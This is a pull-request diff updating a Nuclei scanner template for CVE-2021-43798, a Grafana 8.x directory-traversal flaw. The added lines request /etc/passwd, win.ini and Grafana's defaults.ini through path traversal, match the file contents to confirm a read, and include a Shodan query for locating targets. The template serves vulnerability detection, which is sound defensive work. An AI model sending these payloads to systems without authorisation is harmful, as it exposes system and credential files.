Merge pull request #7082 from j4vaovo/patch-21

Update CVE-2021-43798.yaml

cves/2021/CVE-2021-43798.yaml

@@ -1,8 +1,8 @@
 id: CVE-2021-43798
 
 info:
-  name: Grafana v8.x Arbitrary File Read
-  author: z0ne,dhiyaneshDk
+  name: Grafana v8.x - Arbitrary File Read
+  author: z0ne,dhiyaneshDk,j4vaovo
   severity: high
   description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
   reference:
@@ -17,23 +17,27 @@ info:
     cve-id: CVE-2021-43798
     cwe-id: CWE-22
   metadata:
+    verified: "true"
     shodan-query: title:"Grafana"
   tags: cve,cve2021,grafana,lfi
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd"
+      - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd'
+      - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini'
+      - '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini'
 
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
-
       - type: regex
         regex:
-          - "root:.*:0:0:"
+          - 'root:.*:0:0:'
+          - '\\[(font|extension|file)s\\]'
+          - 'socket\s*=\s*\/tmp\/grafana\.sock'
+        condition: or
 
       - type: status
         status:
           - 200
-
-# Enhanced by mp on 2022/02/28